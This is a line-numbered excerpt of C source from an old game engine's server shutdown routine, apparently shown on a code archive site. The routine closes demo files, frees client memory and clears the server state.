                    994:        SV_ShutdownGameProgs ();
                    995: 
                    996:        // free current level
                    997:        if (sv.demofile)
                    998:                fclose (sv.demofile);
                    999:        memset (&sv, 0, sizeof(sv));
                   1000:        Com_SetServerState (sv.state);
                   1001: 
                   1002:        // free server static data
                   1003:        if (svs.clients)
                   1004:                Z_Free (svs.clients);
                   1005:        if (svs.client_entities)
                   1006:                Z_Free (svs.client_entities);
                   1007:        if (svs.demofile)
                   1008:                fclose (svs.demofile);
                   1009:        memset (&svs, 0, sizeof(svs));
                   1010: }
                   1011: 

unix.superglobalmegacorp.com

This archive runs on limited infrastructure. Preserving old code on modern bandwidth. Automated agents are requested to crawl responsibly.